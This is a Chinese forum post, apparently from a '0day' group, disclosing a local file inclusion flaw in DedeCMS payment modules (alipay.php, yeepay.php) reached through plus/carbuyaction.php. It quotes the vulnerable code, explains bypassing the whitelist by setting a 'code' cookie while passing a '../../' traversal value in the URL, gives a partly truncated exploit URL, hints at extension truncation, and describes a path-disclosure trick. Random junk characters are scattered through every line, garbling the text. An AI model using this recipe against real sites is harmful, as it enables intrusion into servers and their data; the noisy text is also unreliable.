晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)$ O# F" o+ r# ]' X2 t" Q
) H9 }! C7 u" ?& t0 v出现漏洞的两个文件为:+ k: K* u$ o$ Q% ]) {
Include/payment/alipay.php& X4 A8 _1 X3 j1 e$ ]
Include/payment/yeepay.php9 ], Z; Y z5 h0 D& L
漏洞均出现在respond方法里,估计这两个文件是临时工写的。. ~0 {) \7 g5 z2 b; p
9 t) W" u9 C( `! @1 c ]
Include/payment/alipay.php
# I0 y" X2 k1 X* A9 _7 k4 X7 n
. h3 b1 H4 ~2 X0 {- l2 i5 w1 a# n$ W......% N7 K. Q- S+ i$ U& N% z2 `
function respond()
# Z9 p( s( \! }% P4 q {
D) r# ^9 B) T# c$ a5 B/ p% w0 F if (!empty($_POST))) B3 Z; D" X) ^
{
0 X3 K) q, V! I" B& A" M/ D/ N/ T foreach($_POST as $key => $data)3 E' |+ a; m8 W a
{
3 @/ y! d' J4 z5 ], d* ^! Y4 r $_GET[$key] = $data;$ M- [6 _5 l3 u
}
. t1 }9 j4 h' G( Z$ `* y9 j2 H+ K }- j) e/ v6 R" T- n5 D# v) O
/* 引入配置文件 */
0 w% j1 O# m( S* S3 c% v require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';2 {1 e' s5 D6 p
......
' k; n: _2 k4 A) k8 E' m
* Y2 }( e: d6 D% [0 ?: d! a; a" j2 }) B1 F3 y! j3 r! K; H7 h
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
; |' G/ F; m2 a5 S4 j# {" }4 F, W, x
: V0 Y! M) V7 t& w$ n& OInclude/payment/yeepay.php
% o1 C/ C" {/ i7 W2 p, l* w$ {! R: f! B3 E1 R$ T9 I
( U K4 V/ ^, u( D8 d+ f& e3 w# k5 m5 x! ]9 y3 J. q/ M `6 l9 n
......
0 p$ I: m4 o$ |) P function respond()
. y& s/ U+ O* K2 w7 C4 s {
* |* i2 Z( W; ~9 K* S 3 I( z @: s0 c. y* c( I
/* 引入配置文件 */
/ i7 M; }$ s) J' h require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
6 R& v- D7 c) ~$ m 0 O7 M6 M, b; ^+ L
$p1_MerId = trim($payment['yp_account']);
* ? [) W, n; N3 b9 L3 v $merchantKey = trim($payment['yp_key']);( B$ \: I, n7 q8 ^% f. b
......
) H+ c Q" b" {2 i& a
; N5 k, a2 v3 o/ u
; _" o: m8 V/ i / C- @2 R9 g8 l$ k( ~) g1 c
( q0 u4 F2 g, J; S; b- H7 }2 B大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
: E4 a: ^! [. u7 ?. P1 X3 Y- X' Z% b4 \/ |
这两个方法在plus/carbuyaction.php文件调用。# A( A) J( n1 o, u) V x
5 ?7 s! F7 |6 R G$ kplus/carbuyaction.php
+ X: W' c: y9 q. i8 i+ G; [. i/ ?0 r- r" ^% ]! H I
......
3 O# B/ ~9 u' a* j} else if ($dopost == 'return') {3 N) E, \( l, R2 Z2 C+ M" `4 R6 x. U
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
6 R/ N$ ?$ w: { if (in_array($code, $write_list))
& A7 i% J! n6 i& Z {
5 |' s) E2 Y7 i- u: V require_once DEDEINC.'/payment/'.$code.'.php';
0 t" \- K3 _) u v0 l, Q $pay = new $code;
! h8 _& ]4 m0 M. M. _3 O $msg=$pay->respond();
1 d2 M. c! i4 {: G& o$ f5 {5 [ ShowMsg($msg, "javascript:;", 0, 3000);
0 Y- k% v7 |" D2 V. S' p' f exit();
, q! ?4 X' a" M/ G } else {
0 x6 W" Q1 q9 n4 t! a exit('Error:File Type Can\'t Recognized!');
/ C( d& z, ?' h0 Q' ^& t+ J }* u6 Q' V) i# W$ x
}
$ \$ p" R+ q& @& i' g- C...... ! l& Z0 h2 z. U6 v& B3 p
! O+ z$ L* ]% u |+ r0 c9 x$ x* j& D; n' Y
0 n# n- a) o1 r$ V! [- G
5 r F E/ F2 e* ? u& W" i& O
6 Q3 E9 b' N6 ?+ E
% E, m1 x# [- C( O8 |) |大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。$ R9 x2 O* Z. b3 |
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
$ K. {0 Y, J0 X. L
" k0 W. T/ R0 [1 l9 E8 r回到include/common.inc.php来看看他的机制。
* _* S3 z2 _" J; d* s/ n; Z3 z4 b% e% @5 |
9 d' n0 W$ v- h, U7 |( g; N3 v8 e
P; o6 x" ^$ ?' k2 o
......% E9 \' V# o5 u8 U7 i% B6 K
foreach(Array('_GET','_POST','_COOKIE') as $_request); {! g t- Q% U* l7 ], C9 o9 ]$ Z7 d2 e
{
0 n; E6 W* L8 d' W. B* d foreach($$_request as $_k => $_v) h6 J( u* w3 }4 ~; D
{
Q' F, j4 D- t2 W0 b if($_k == 'nvarname') ${$_k} = $_v;, i l7 B* q% Z& w1 M
else ${$_k} = _RunMagicQuotes($_v);
9 b9 A$ J; S/ p: z0 { }0 ~" f" L N% ]5 J
}$ b$ X8 T6 V- B2 C6 @7 J
......
4 e$ s" J3 h) f大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
" k1 M$ L5 U' h" k* |由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |